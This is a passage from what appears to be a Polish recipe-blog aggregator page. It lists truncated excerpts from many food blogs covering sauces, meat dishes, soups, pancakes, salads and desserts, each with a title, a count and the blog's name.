łyżeczka słodkiej papryki 1/2 łyżeczki ostrej papryki 1.Cebulę kroimy w kostkę. Podsmażamy wraz z mięsem mielonym. Dodajemy przyprawy, keczup i koncentrat pomidorowy tak by powstał nam gęsty, mięsny sos. Studzimy. 2. Drożdże rozpuszczamy w ciepłym mleku, łączymy z mąką, cukrem, solą i olejem. Wyrabiamy gładkie ciasto. Rozwałkowujemy na kształt koła, zaginamy do środka brzegi. Na ciasto wykładamy farsz, posypujemy

Szefowa kuchni
Makaron alla carbonara z cukinią 218

pokryją. Zestawić z ognia. Makaron podawać bezpośrednio po ugotowaniu. SMACZNEGO! Uwagi do przepisu: Z podanych składników wychodzi porcja dla 3 osób. Makaron należy gotować równocześnie z przygotowywaniem sosu. Jeśli cukinia jest młoda, to nie ma potrzeby obierania jej ze skóry. W przypadku starszych egzemplarzy, należy obrać je ze skóry. Surowe żółtka, pod wpływem ciepła makaronu, ścinają się i równomiernie

Gospodyni Miejska
Sandacz w sosie paprykowym 290

mnie ok. 70 dkg mąka, sól i pieprz 2 szalotki 1/2 czerwonej papryki 3 łyżki śmietany, u mnie 18% sól i pieprz Przygotowanie: Sandacza … Czytaj dalej Sandacz w sosie paprykowym

czarrna od kuchni
Kopytka z batatów 196

batatów w ogóle smakują? Bardzo dobrze! I to powinno Wam wystarczyć, żeby się za nie zabrać Powiem Wam jednak, że są dzięki batatom słodkawe, natomiast w połączeniu z wytrawnym sosem nie jest to słodycz odpychająca, a bardziej coś pożądanego. Konsystencja zależy już od tego jaką macie wprawę w ich robieniu, niestety. Wszystko rozgrywa się o odpowiednią konsystencję ciasta. Jednak, jeśli

Blendman
Roladki ze szparagami marynowanymi - z sera i szynki 173

smak zależy od składników, z których są zrobione, więc dobre szparagi, ser, szynka to jedyny klucz do sukcesu. U mnie znikają w wersji solo, ale pasują też do lekkiego sosu na bazie jogurtu - bądź majonezu. To kolejny dowód na to, że "w prostocie siła". Sami spróbujcie! 1 słoiczek szparagów marynowanych (użyłam z Dagomy ) plastry sera plastry szynki Dodatkowo: szczypiorek

Di gotuje
Quinoa z sosem kurkowym 206

moim stole robi się coraz bardziej jesiennie a to za sprawą dyni, soczystych, kolorowych, pachnących jabłek, aromatycznych grzybów i pożywnych kasz. Ostatnio na obiad przygotowałam komosę ryżową z sosem kurkowym. Jeśli lubicie grzyby to gorąco polecam :) Składniki na 2 porcje: 3/4 szklanki komosy ryżowej 200-250 g świeżych kurek 1 cebula 250 ml kremówki świeża pietruszka 3/4 łyżeczki kurkumy kolorowy

Ze smakiem i z pasją
100% domowy fit burger 218

mówię tu o obciekających tłuszczem bułach z dobrze nam znanych sieciówek, ale o prawdziwych burgerach - z dobrą, chrupką bułką, wysmażonym mięsem, całą gamą kolorowych warzyw i zwieńczającym wszystko aromatycznym sosem. Otwieranych jest coraz więcej lokali tego typu, ponieważ z jednej strony to nadal fast food, ale jednak całkiem zdrowy i przede wszystkim robiony własnoręcznie. A już najlepsze jest samo jedzenie

Ekocozy | Naturalnie na co dzień
SCHABOWE ROLADY Z SEREM, SZYNKĄ I SUSZONYMI POMIDORAMI 239

garnka z roladami. Jeśli płynu jest mało, uzupełniamy go  tak, aby rolady były przykryte. Garnek  przykrywamy i dusimy mięso ok 1h. Po tym czasie lekko zagęszczamy powstały sos (łyżeczką mąki rozrobioną w odrobinie zimnej wody). Podajemy z ziemniakami, kaszą lub ryżem

Walijskie Pichcenie
Kaczka w ziołach i grzybowo - śmietanowym sosie.. 168

Pieczarki obrać pokroić w ćwiartki i podsmażyć na patelni z tłuszczem spod kaczki. Wlać śmietanę, kilka łyżek wody z gotujących się ziemniaków. Trzymać jeszcze kilka min na ogniu aż sos zgęstnieje, dodać groszek i gotowe.. Smacznego

Gaździnka warzy
Schab pieczony na chleb, pycha 199

Polecam Wam ten schabik. Super na chleb, podać można również na zimno z różnymi sosami. Schab umyć i osuszyć, odciąć tłuszcz i wyrzucić. W moździerzu zmiażdżyć wszystkie przyprawy i wymieszać z oliwą z oliwek. Natrzeć dokładnie mięso. Włożyć do miski, przykryć i wstawić do lodówki. Co najmniej na 12 godzin. Taki schabik na przepysznym chlebku to niebo, mniam. Przepis

Kuchnia Pokoleń
Korma z jagnięciną / Lamb Korma 313

jagnięcinę, jednak musi być ona dobrej jakości i bardzo dobrze przygotowana, gdyż czasami ma dziwny posmak;/ Tym razem dobrze trafiłam i danie wyszło przepyszne! Długo duszona jagnięcina w delikatnym sosie jogurtowym z prażonymi migdałami i orzechami nerkowca, z chilli, czosnkiem i innymi bardzo aromatycznymi przyprawami na długo pozostanie w naszej pamięci. Jagnięcinę można zmienić na inne ulubione mięso, testowałam

karmelowy
Nutri Boost – wrażenia z użytkowania 210

zielonego masła i blender poradził sobie z nim znakomicie.   W codziennych sprawach nutri pomoże nam przygotować zupę krem, przygotować pożywny koktajl z płatkami owsianymi, czy zmiksować warzywa z sosem i stworzyć gęsty, aromatyczny dip.  Oprócz dołączonych zakrętek, ogromnym plusem jest dołączenie obręczy (ustników) do pojemników. Zakrętki przydają się oczywiście, gdy zabieramy koktajl "na wynos", a ustniki przydają się

Gotowanie i blogowanie
Kibiny (kibinai), czyli pierogi Karaimów litewskich oraz migawki z Troków 271

Kibinai piec 30 minut. Podawać z bulionem (u mnie warzywny). Uwagi: Kibinai są bardzo gorące w środku. Trzeba bardzo uważać podczas pierwszych kęsów.  Z wnętrza kibinów wypływa trochę sosu z pieczenia farszu - uważajcie - gorący! Kibinai zjada się, trzymając je w rękach przez serwetkę i popija bulionem.   A tak wyglądają te oryginalne (mnie brak wprawy w zwijaniu zlepionych brzegów

Weekendy w domu i ogrodzie
Indyk w sosie śmietanowym z pieczarkami. 235

Witajcie :) Zapraszam dzisiaj na  indyka w sosie śmietanowym z pieczarkami. Danie jest proste w wykonaniu i bardzo aromatyczne, można je podać z ryżem, kaszą lub ziemniakami. Do mięsa użyłam przyprawy firmy PLENUS- https://www.galeriaherbat.pl/przyprawa-do-kurczaka-bez-glutaminianu.html. Zapraszam :) Składniki : 500 g piersi z indyka około 10 pieczarek małych 2 cebule średnie sól, pieprz, szczypta chili do smaku 500 ml śmietanki kremówki

Sama słodycz i szczypta chili
Egipskie kushari 194

Kushari czyt. kuszari jest potrawą rodem z Egiptu, pierwszy raz wykonaną w połowie XIX w. Wykonana jest z ryżu, makaronu, soczewicy, polane sosem pomidorowym z cebulą a także czosnkiem. Dodatkowo podawana jest ciecierzyca. Można ją kupić od każdego ulicznego sprzedawcy w Egipcie i tak naprawdę grzechem byłoby nie spróbować. Danie jest bardzo pożywne bo zmieszanie tych podstawowych składników czyli soczewicy

Moje Małe Czarowanie
SAŁATKA Z TUŃCZYKIEM I JAJKIEM 183

dnia, urozmaicane przeróżnymi dodatkami nigdy mi się nie znudzą. Składniki: kawałki tuńczyka białego z oleju 1 jajko ugotowane na twardo szklanka ugotowanej ciecierzycy 1 pomidor kilka piórek czerwonej cebuli sos: 1 łyżka oliwy łyżeczka soku z cytryny ulub. zioła Wykonanie: Na talerz wykładamy ciecierzycę, ćwiartki jajka, piórka cebuli, kawałki pomidora i tuńczyka. Olej mieszamy z sokiem z cytryny, dodajemy ulub

Z Majeczką w kuchni
ryba nototenia z piekarnika na pyszny lekki obiad... 228

łyżeczka, sok z cytryny 1 łyżka, pieprz czarny mielony 1/2 łyżeczki nototenia ma białe mięso, jest smaczne i mięsiste, ma mało ości, można piec, smażyć, zalać zalewą octową czy sosem pomidorowym... olej wlać do miseczki, wsypać przyprawę do ryb, kucharka, pieprz, sok z cytryny i dobrze wszystko wymieszać rybkę odmrozić w lodówce, ze skóry rybek usunąć łuski, dobrze opłukać

W Mojej Kuchni Lubię
Grzybowe placuszki z kurkami 205

pachną duszone na maśle grzybki z cebulką, to możecie sobie wyobrazić zapach tych placuszków ... Smak wzbogaciłam szczyptą mielonej wędzonej papryki, co dodatkowo podkreśliło ich rumiany kolor. Jedliśmy je z sosem pomidorowym i z kwaśną śmietaną. Bez dodatków świetnie sprawdziły się jako przekąska między posiłkami regularnie cichaczem podjadane z talerzyka w lodówce:) Miłej niedzieli! U nas mgła, ale dość ciepło. Zostawiam

Posadzone i zjedzone
Żeberka w marynacie miodowej z curry 133

marynacie są niezwykle wyborne. Nie tylko nadają się do pieczenia, można je "zabrać" ze sobą na grill.    Składniki 1 kg żeberek Marynata: 50 ml oleju 3 łyżki sosu sojowego 3 łyżki miodu 1 łyżka mielonej czerwonej papryki 1 łyżeczka chilli 2 ząbki czosnku przeciśniętego przez praskę 2 łyżki przyprawy curry 1 łyżeczka mielonego pieprzu     Przygotowanie Normal

R'n'G Kitchen
Toskańska polędwiczka w bagietce z ziołami. 202

aluminiową. Włożyć do piekarnika rozgrzanego do 190-200 stopni i piec 1 godzinę. Po wyjęciu pozwolić odpocząć 10 minut. Kroić w grube plastry i podawać z sałatami i ulubionym sosem

zadanie-gotowanie
Zraziki z łopatki, faszerowane boczkiem i jabłkiem 226

koniec lekko ugniatamy w dłoniach ,żeby docisnąć mięso do farszu i nadać mu ładny kształt . Zrazy obsmażamy na smalcu z obu stron , żeby porządnie się zrumieniły , dzięki temu sos nabierze smaku . Następnie dodajemy pokrojone w kawałki jabłka ( ja dodaję ze skórką ) , cebule , czosnek , miód , majeranek , sól , pieprz i cydr . Nie mieszamy , przykrywamy szczelnie i wstawiamy do piekarnika nagrzanego

Ogrodnik w podróży
Makaron soba z wieprzowiną 223

Danie robi się szybko, można je przygotować jako dwudniowy obiad – sprawdzałam     Składniki /4 porcje/: 3-4 plastry schabu 300 g makaronu soba 300 g mieszkanki chińskiej sos Czytaj dalej... Artykuł Makaron soba z wieprzowiną pochodzi z serwisu Pasja Smaku

Pasja Smaku
Zupa z krabem i mięsem raka 183

pestek i białego miąższu, pokroić w 4 cm paseczki. Wrzucić paprykę i listki limonki do garnka i smażyć chwilkę. Dodać pastę curry i wymieszać. Wlać mleko kokosowe, wywar rybny, sos rybny, sok z cytryny. Dodać mięso z kraba i raka. Gotować na małym ogniu 5 minut. Dodać posiekaną kolendrę i podawać. Serwować z pieczywem lub bułeczkami. Smacznego

Kuchnia Pokoleń
Mus brzoskwiniowy z malinami 130

chcecie możecie sypnąć jakiegoś cukru, jednak wg mnie jest to zbędne. Dla kogo: dla dzieci dla tych, którzy mają ochotę zjeść sobie pyszny mus zimą dla lubiących polewać sobie sosami owocowymi wszelkiego rodzaju naleśniki i placuszki Składniki:  850g brzoskwiń (waga bez skórek i pestek) 250g malin cukier czy inne słodzidła (wg uznania - ja nie dodawałam) Wykonanie: Brzoskwinie umyć, obrać

Mania Wypiekania
Pieczona papryka z burakami i kaszą bulgur 208

około pół kg pomidorów 50 g orzechów laskowych (oczywiście mogą być inne) 1-2 ugotowane buraki 3-4 łyżki octu balsamicznego z czerwonego wina (u mnie to był morelowy sos na bazie tego octu-wynalazek z Lidla,swoją drogą polecam) łyżeczka pieprzu, soli, cynamonu i czarnuszki 2 łyżki oliwy do smarowania papryki + ulubiona kasza Przygotowanie: Ugotuj kaszę. Paprykę poprzekrawaj

greenscarf
Kluski z buraków 175

Kluski z buraków, kluski z chia, kluski śląskie, to połączenie wszystkich trzech opcji w jednych pysznych i sprężystych kluseczkach. Zajadałam kluski z sosem chrzanowym bo taki najbardziej mi podpasował do buraków i świeżym bobem. Połączenie było znakomite , dlatego polecam gorąco. Kluski z buraków. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Kotlety z batata i białej fasoli 195

szczególności, jeśli zaserwujemy go z równie łagodnymi dodatkami. No dobra, to w takim razie co do burgera lub na talerz, jeśli postanowimy serwować bez buły? Ja proponuję sos tahini lub ewentualnie jakiś wegański majonez . Dodatkowo fajnie może zagrać keczup. Co do warzyw to jak najbardziej awokado, ogórek, pomidor, sałata lub/i cebulka. Jak to roślinne kotlety, można je zarówno smażyć

Blendman
POMIDORKI KOKTAJLOWE PO PROWANSALSKU 175

Posyp nim z wierzchu pomidorki. Posól i popieprz. Polej miodem i oliwą z oliwek. Wstaw do nagrzanego piekarnika i piecz przez około 20 minut, od czasu do czasu podlewając sosem z pieczenia. Podawaj z grillowaną rybą lub mięsem

Smaki Francji współczesna kuchnia francuska
makaron bolognese po mojemu na dobry i syty obiad... 177

ogniu, na koniec wsypać koperek makaron gniazdka średnie wrzućić do osolego wrzątku i gotowac 9 minut, odlać na durszlak i krótko przelać zimną wodą, porcje makaronu podać z gorącym sosem i posypac serem mozarella - danie jest pysznie pyszne , szybkie do przygotowania..............SMACZNEGO

W Mojej Kuchni Lubię
Sałatka z komosą ryżową i pesto bazyliowym 368

oliwą, posolić, popieprzyć. Wymieszać. Wsadzić do piekarnika i piec około 20 min. Pod koniec można włączyć funkcję grilla. Pesto bazyliowe: Wszystkie składniki umieścić w blenderze. Miksować do uzyskania gładkiego sosu. Jeśli jest zbyt gęste, dodać więcej oliwy. Dekoracja: Pietruszkę posiekać. Komosę wymieszać z warzywami i pesto. Wyłożyć na duży półmisek. Posypać posiekaną natką pietruszki i pokruszonym kozim serem. Smacznego

Jaglusia
Quinoa z puree z groszku i kotletami z ciecierzycy 246

naciowy, posolić. Dodać komosę, pesto i wymieszać. Spróbować i jeśli trzeba – dodatkowo doprawić. Pesto: W blenderze zmiksować wszystkie składniki na pesto. Oliwę dodawać w trakcie miksowania, sprawdzając konsystencję sosu. Powinien być zwarty, ale nie za bardzo lejący. Jeśli oliwa rozwarstwia się od pietruszki, nie dolewać więcej. Puree z groszku: Mleko zagotować. Dodać groszek, sól, pieprz. Zmiksować na gładkie puree

Jaglusia
Naleśniki - ciasto naleśnikowe 526

pomocy narzędzi przerzucić naleśnik specjalnym ruchem patelni. Tę czynność powtarzamy aż ciasto zniknie z miski. Tak przygotowane naleśniki smarujemy twarożkiem, dżemem, powidłami lub faszerujemy pieczarkami, serem, mięsem, można polać sosami, posypać cukrem pudrem - jak kto lubi. Smacznego

Anielska Kuchnia Ani
Thermomix wg Aleex (TM5) 209

rozczyn i wyrabia ciasto, a wszystko trwa ok 8 minut. Niewiarygodne? A jednak. W Thermomixie można rozdrobnić warzywa na sałatkę, ugotować wszystkie dania na parze, ugotować w naczyniu zupę, sos, gulasz i mnóstwo innych potraw. Nie trzeba wertować książki papierowej, bo książkowe przepisy są wczytane do urządzenia i krok po kroku podpowiadają, co należy zrobić, aby osiągnąć oczekiwany efekt

W mojej kuchni
Łosoś z peperonatą i pieczonymi ziemniakami 189

pochodzi z książki Ryby Są Super. Ci, którzy lubią łososia będą zachwyceni, gdyż w tym wydaniu ryba tylko zyskuje w smaku. Delikatnie doprawiona kolendrą, znakomicie współgra z lekko pikantnym sosem na bazie papryki, pomidorów i czosnku. Koniecznie podajcie je jak, z pieczonymi ziemniaczkami w marynacie czosnkowo-kuminowej. Składniki na 2 porcje: Ziemniaki: 400g małych ziemniaków 2 ząbki czosnku ½ łyżeczki kminu

Fabryka pomysłów
Sałatka z miechunką 2.0, Przemyśl-Krasiczyn-Jarosław 300

Bardzo łatwa i szybka: trzeba pokroić kilka miechunek, mały kawałek wędzonego sera żółtego i dodać garść żurawiny. Wszystko połączyć z sosem: oliwa + zioła prowansalskie + pieprz + sól. Gotowe. Tutaj znajdziesz inną sałatkę z miechunką. Przemyśl - Krasiczyn - Jarosław 1. Muzeum Dzwonów i Fajek   2. najlepsze lody w Fiore (ponoć w całej Polsce), ale na serio: najlepsze, jakie jadłam  (na zdjęciu

Qlinarnie i Qlinarnie
“Niebezpieczne związki kulinarne” – recenzja 160

kulinarnych i miłosnych zmagań głównych bohaterów, decydują się na finalny pojedynek na … musakę. Kogo wybrała piękna Nana? Przekonajcie się sami! Jeśli chodzi o przepisy, to książka jest wielką pochwałą sosu avgolemono, czyli z greckiego „jajko-cytryna”. Ponieważ znam go z potrawki fricasea, wiem, że jest pyszny i że dodawanie go do prawie każdego dania nie jest przesadą. Dobrze

Ugotowane pozamiatane
Przepis na… – Pizza bianca 384

ciasto: 500 g mąki pszennej 300 ml wody 8 g drożdży 3 łyżki oliwy łyżeczka cukru szczypta soli sos: czosnek, dowolne zioła, mozzarella, oliwki, Przygotowujemy ciasto: przesianą mąkę mieszamy z solą i drożdżami rozpuszczonymi w letniej wodzie z cukrem, dodajemy 3 łyżki oliwy i wyrabiamy tak by nie było grudek. Ciasto odkładamy do wyrośnięcia na minimum dwie godziny (miskę

Bon Ton Italia
Kolorowe naleśniki 549

owoce to w wersji na słodko na słono również jest wiele możliwości między innymi dodatkiem może być parówka z serem (ale o tym w następnym wpisie), pieczarki z cebulą , sos spaghetti z mięsem mielonym i wiele innych dodatków. Ogranicza nas tylko wyobraźnia :) Składniki: mąka pszenna 2,5 szklanki mleko 3 szklanki cukier 2 łyżki jajka 2 szt. szczypta soli olej

Kuchnia Viki
Ziemniaki z kremowym farszem. 6166

posypać resztą cheddara. Ziemniaki ułożyć na blaszce i wstawić jeszcze raz do piekarnika (190 - 200 stopni) na około 15 minut. Po wyjęciu posypać posiekanym szczypiorkiem. Podawać z ulubionym sosem lub kwaśną śmietaną

zadanie-gotowanie
Sałatka z kurczakiem i figami 187

Kurczaka marynujemy w przyprawach około 30 minut. Smażymy na oliwie z oliwek. Zdejmujemy z patelni, kroimy na mniejsze porcje, układamy na sałatce. Gruszkę kroimy na cieniutkie plastry. Sałatkę polewamy sosem przygotowanym z 4 łyżek oliwy z oliwek, 1 łyżki wody, 1 łyżeczki miodu, przypraw: zmielonej kolendry, cynamonu, soku z limonki bądź cytryny, odrobiny octu winnego i soli. Gotowe! Smacznego

SMYKWKUCHNI
Warzywa w tempurze 314

papierowe ręczniki kuchenne. Podajemy natychmiast. Warzywa w tempurze to wspaniała przekąska. Ja wykorzystałam paprykę, rzodkiewki i natkę pietruszki, ale można użyć innych, ulubionych warzyw. Można je podać z sosem sojowym, słodko kwaśnym lub ulubionym dipem. Idealna potrawa „na poprawę humoru”, dla gości, wegan, wegetarian… i nie tylko. Gorąco polecam i życzę smacznego. Wydrukuj przepis The post Warzywa w tempurze appeared

mojewypiekiinietylko
Bezglutenowe placuszki z płatków quinoa i mąki z migdałów ziemnych, podane ze świeżmi figami i gorącymi malinami 184

patelni (takiej na jedno jajko), wtedy placki mają odpowiedni rozmiar i kształt.  Maliny myjemy, rozgniatamy widelcem i podgrzewamy, mieszamy je z miodem, jeśli chcemy je dosłodzić. Takim malinowym sosem polewamy każdy placek, układamy na nim plasterki świeżej figi i posypujemy orzechami. Palce lizać

Quinoa Raz!
Szaszłyki drobiowe z marynatą z tahini 312

Składniki: 1/2 kg fileta z kurczaka marynata: 2 łyżki pasty tahini 2 łyżki oleju 2 łyżeczki miodu 2 łyżeczki sosu sojowego sok z 1/2 limonki sól i pieprz Przygotowanie: Składniki … Czytaj dalej Szaszłyki drobiowe z marynatą z tahini

czarrna od kuchni
śniadaniowe ciastko bananowe 229

bananem. Połączyć obie masy. Piekarnik rozgrzać do 180 stopni. Piec około 40 minut w kokilce, wyłożonej papierem do pieczenia. Zostawić do ostudzenia. Rano podawać z ulubionymi dodatkami (u mnie sos z kakao - łyżeczka kakao, dwie łyżeczki wody; migdały i wiórki kokosowe). smacznego

tost z dżemem
Karkówka z warzywami 153

małym ogniu aż mięso zmięknie, pilnując by za dużo wody się nie wygotowało . Kiedy mięsko już będzie miękkie ,w szklance mieszamy z odrobiną wody mąkę i delikatnie dodajemy do sosu i dokładnie mieszamy . Podajemy z kaszą gryczaną i surówką  SMACZNEGO

Mój Smak
Skrzydełka czosnkowe 166

Bardzo dawno nie robiłam skrzydełek myślę sobie , a wiec wpadłam na pomysł że zrobię mojej rodzinie takie czosnkowe i trafiłam w smaki ,bardzo fajnie smakują z sosem czosnkowy i grzankami ziołowymi , można także takie skrzydełka zrobić na grillu z ziemniakami z masłem czosnkowym .Wszystko czosnkowe ach , ale kto komu zabrani :)      Składniki

Mój Smak
Masło czosnkowe 153

dodatkami takimi jak czosnek czy różne zioła ,doskonale smakuje i pasuje do pieczywa jak zarówno do ziemniaków  pieczonych .   Wykorzystuje takie masło także do podsmażania mięs do sosów i nie tylko ,zapraszam do wypróbowania .  Składniki         1 kostka masła dobrej jakości         2 ząbki czosnku

Mój Smak
Śmietanowiec 180

dużo swoich zwolenników , ciasto jest bardzo szybkie w przygotowaniu i szybko znika z talerzyków . Ciasto nie jest zbyt słodkie, a dla tych co lubią bardziej słodkie ciasto można polać sosem malinowym bądź toffi i także smakuje super . Składniki          ( składniki są na tortownicę 32 cm )  1 litr śmietany 30%  1 kubeczek serka mascarpone

Mój Smak
Kopytka z jogurtem greckim 176

właśnie na kopytka , i wtedy jak ziemniaki mam już ugotowane i wystudzone to praca idzie szybko i sprawnie . Ja na zdjęciu proponuję ze śmietaną bez laktozy  i sosem malinowym i cynamonem , ale dodatki jak najbardziej według uznania  . Składniki  3 duże ziemniaki ugotowane  1 jajko  2 łyżki jogurtu greckiego szczypta soli  1 szklanka mąki

Mój Smak
Sajgonki ala leniwe 186

farszu z ruskich pierogów , ale nie w pierogach , tylko zupełnie w czymś innym , i wypadło na placki ryżowe , czyli   sajgonki , smakują super zaskakująco , można podawać z barszczem czerwonym , sosem czosnkowym , ale to już pozostawiam Państwu , i życzę miłej niedzieli .    Składniki  1 kg ziemniaków  2 średnie cebule  100 dag szynki długo dojrzewającej  1 kubek

Mój Smak
Biała kiełbasa w bułce ( faszerowane bułeczki ) 201

każdą bułkę , jak już mam jajko rozlane , przykrywam bułki i wstawiam do piekarnika na 160 stopni na 10 minut .  Po 10 minutach wykładam nasze bułki i podaję z sosem tzatziki .                              Smacznego

Mój Smak
Bazyliowe kopytka 162

Zapraszam na troszkę inną odsłonę kopytek , są to kopytka z dodatkiem bazylii , znakomicie smakują z dodatkiem sosu , a jeszcze bardziej smakują odsmażone na chrupko bez żadnych dodatków , więc zapraszam do wypróbowania . Składniki  5 ugotowanych ziemniaków  2 jajka  2 szklanki mąki orkiszowej  szczypta soli  2 garście bazylii  Wykonanie  Ugotowane ziemniaki przeciskam przez praskę , bądź

Mój Smak
Pesto z rukoli 176

smaku możemy również dodać papryczkę chili jeśli ktoś lub bardziej wyraziste smaki.  Wszystko dekorujemy płatkami migdałów. Tak wykonane pesto możemy wykorzystać do ugotowanego makaronu al dente, jako sos , czy do świeżego pieczywa jako pasta do kanapek. Jedna łyżka dodana do zup jarzynowych dodatkowo może urozmaicić jej smak, a dodana do sałatek może nadać jej niepowtarzalny charakter. Pesto wykorzystuję

Aromatyczne Podróże
Krem ze szparagów 151

uznania. Piec w piekarniku w temp. 170 stopni aż do lekkiego zarumienienia. Takie paluchy idealnie komponują się jako dodatek do wszelkiego rodzaju zup- kremów, można również je podawać z sosami.  Smacznego

Aromatyczne Podróże
Domowa wędlina :Gotowana szynka 195

soli kuchennej 1 łyżeczka cukru  1 łyżeczka majeranku 4-5 liściu laurowych 6 ząbków czosnku + 3 ząbki do nasmarowania mięsa 1 łyżeczka chili w proszku  1 łyżka sosu sojowego  6 ziaren jałowca 2-3 ziarna pieprzu  Mięso natrzeć odrobiną oliwy, 3 ząbka wyciśniętego czosnku, dokładnie obwiązać sznurkiem do wędlin lub grubą nicią, dzięki temu nie będzie

Aromatyczne Podróże
jesienna zupa dyniowa 213

się z tym wiąże, z produkowaniem wszelkiej maści przetworów z tych płodów natury, które pozwolą nam przetrwać zimę, racząc się mało przetworzonymi, naturalnymi i pozbawionymi chemii warzywami, sałatkami czy sosami w słoiczkach... Gdy już jednak wszystkie powyższe zbiory zostaną zebrane, sprzedane, i skonsumowane lub zawekowane,  rozpoczyna się okres, który jeszcze kilka lat temu uważaliśmy za koniec obcowania ze świeżymi

Aromatyczne Podróże
Kotleciki rybne 190

pieprzem ,odrobiną maggi, koperkiem , czosnkiem (zmiażdżonym w prasce) i szczypiorkiem.. Uformować kotleciki , obtoczyć w bułce tartej i smażyć na niewielkim ogniu.  kotleciki rybne Można podawać je z sosami, sadzonym jajkiem z dodatkiem sałaty czy pomidorów. Smacznego

Aromatyczne Podróże
Pasta ze szprotek i zielonego groszku 178

którego torebkę zawsze mam w zamrażarce.   Do tej pasty najbardziej pasują znane wszystkim szprotki w prostokątnej puszce Winter sprats . Czasem zamieniam te szprotki na np. puszkę śledzi w sosie pomidorowym i pasta też jest wyśmienita :) Pasta ze szprotek i zielonego groszku 200 g wędzonych szprotek 2 jajka ugotowane na twardo 3 płaskie łyżki majonezu 4 łyżki mrożonego, ugotowanego groszku

Posadzone i zjedzone
Jak zrobić idealny rosół 218

wywar na skrawkach mięsa, kościach i jarzynach, który można przygotować z tanich (co nie znaczy, że gorszej jakości) składników. Później zwykle używa się go jako bazę do zup i sosów. Często przelewamy go do mniejszych pojemniczków i mrozimy, by mieć zapas na później. Rosół natomiast ... o rosole można by napisać poemat ... To wspomnienie babcinej kuchni, niedzielnych rodzinnych obiadów, ciepło rodzinnego

Posadzone i zjedzone
Gotowany kurczak z ananasem, curry i mleczkiem kokosowym 176

łatwe do podgrzania. Istotna uwaga - ten kurczak jest naprawdę lekki - gotowany. Nawet nie widział patelni :) A oto co jeszcze przygotowałam: tarta bakewell Klopsiki Nigelli z tartym serem w sosie pomidorowym Placek czeski Gotowany kurczak z ananasem, curry i mleczkiem kokosowym 6-8 porcji 3 pojedyncze piersi z kurczaka 2 szkl. bulionu z kury 1 puszka ananasów (580g) 2 łyżeczki curry

Posadzone i zjedzone
Tarta bakewell 204

świeżo startej skórki z pomarańczy tworzy coś wyjątkowo pysznego! Polecam! A oto co jeszcze przygotowałam: Gotowany kurczak z ananasem, curry i mleczkiem kokosowym Klopsiki Nigelli z tartym serem w sosie pomidorowym placek czeski   Tarta bakewell na podstawie przepisu z smitten kitchen okrągła forma do tart 25 cm kruche ciasto: 150 g mąki krupczatki 100 g zimnego masła 2 łyżki

Posadzone i zjedzone
Placek czeski 223

folią aluminiową i włożyć do lodówki do przegryzienia. A oto co jeszcze przygotowałam: tarta bakewell Gotowany kurczak z ananasem, curry i mleczkiem kokosowym Klopsiki Nigelli z tartym serem w sosie pomidorowym Placek czeski duża prostokątna blacha Ciasto: 1 kostka masła 500 g mąki 150 g cukru 1 jajko 4 łyżki mleka 3 łyżki miodu (lipowy, akacjowy, rzepakowy) 1 łyżeczka sody

Posadzone i zjedzone
Śledzie w sosie musztardowym 227

pewnością sobie zachowam:) Składa się z ciemniejszych i jaśniejszych kuleczek, które oprócz walorów smakowych (musztarda jest wyrazista i ostra w smaku), czynią każdą potrawę bardzo dekoracyjną. Śledzie w sosie musztardowym 1 średnia miska 300g solonych filetów śledziowych (najlepiej matiasów) – są to średnio trzy filety 3 łyżki musztardy starofrancuskiej pełnoziarnistej 3 łyżki kwaśnej śmietany 18% 2 łyżki oleju rzepakowego 1 średnia

Posadzone i zjedzone
Dieta oczyszczająca poświąteczna lub wiosenna 191

oliwą, duszone klopsiki drobiowe w warzywach lub gotowana polędwiczka wieprzowa. Następne dni - zaczynamy od wody z cytryną, a wszystkie inne posiłki powinny być już normalne, lecz lekkostrawne (bez zawiesistych sosów, tłustych mięs typu pieczeń z karkówki, ciast z kremem itp.). Przez ten tydzień, kiedy pijemy wodę z cytryną starajmy się zastosować rozwiązanie pięćdziesięcioprocentowe, o którym pisze Mireille Guiliano w swoich

Posadzone i zjedzone
Zupa z pora, pomidorów i soczewicy z serwatką 230

mleka, serwatki oddziela się naprawdę dużo.. Wlewam ją do pojemniczków, o czym pisałam we wpisie o twarogu i mrożę. Później rozmrażam odpowiednią jej ilość i dodaję do zup, sosów, chlebów i ciast. Zupa z soczewicy, pora i pomidorów dzięki serwatce zyskała głębszy, kwaskowaty smak, który zrównoważyłam odrobiną cukru. Zupa z pora, pomidorów i soczewicy z serwatką 1 por - biała

Posadzone i zjedzone
Pieczeń ze schabu z kością 181

przykrycia. Nie trzeba go podsmażać już na patelni. W połowie pieczenia odwrócić mięso. Około 30 min przed końcem pieczenia dodać pokrojone ziemniaki, marchewkę i pietruszkę, wymieszać ostrożnie z utworzonym sosem. Gotowe

Posadzone i zjedzone
Grzyby pasteryzowane na zimę 208

makaronem. W taki sam sposób możemy przygotować grzyby do zupy grzybowej . Jeśli natomiast uda Wam się jeszcze zdobyć kurki, polecam świetną kostkę rosołową z kurek . Bazę do zup i sosów. Grzyby pasteryzowane na zimę grzyby leśne sól do smaku woda Grzyby dokładnie oczyścić i przepłukać wodą. Pokroić na mniejsze części. Włożyć do garnka, zalać małą ilością wody (tyle, żeby grzyby

Posadzone i zjedzone
Kalarepka z marchewką - do obiadu 197

okolicznościach przyrody z przyjemnością robię zakupy. Choć mam do wyboru świetnie zaopatrzoną halę targową w centrum Gdyni i rynek niedaleko domu, o którym pisałam przy okazji pieczonych śledzi w sosie pomidorowym , często wybieram sobotni targ w Kolibkach. Stajnia przylega do rozległego parku z trawnikami, ścieżkami i starymi drzewami, gdzie można pospacerować, pojeździć na rowerze i odpocząć. Dziś zapraszam na prostą

Posadzone i zjedzone
Gulasz wieprzowy 218

kostkę, czosnek pokrojony w plasterki, paryke pokrojoną w cieniutkie plasterki, kapary oraz liść laurowy . Całość zalewamy gorącym bulionem. Gotujemy około półtorej godziny na wolnym ogniu. W celu zagęszczenia sosu, 1 łyżkę mąki rozrabiamy w pół szkalnki wody i dodajemy do gulaszu. Gotujemy jeszcze przez około 1-2 min. Dodajemy na koniec majeranek i dokładnie mieszamy. Doprawiamy do smaku jeżeli jest

Smaki Natalii
Duszony schab na warzywnej pierzynce 305

Całość podlewamy bulionem i przekładamy do warzyw schab. Dusimy pod przykryciem prze 15 minut a następnie zdejmujemy pokrywkę i gotujemy na wolnym ogniu przez kolejne 15 minut. Wg. gustu sos można zagęścić odrobiną mąki. Serwujemy z kluseczkami lub ziemniakami

Pyry na Gaz
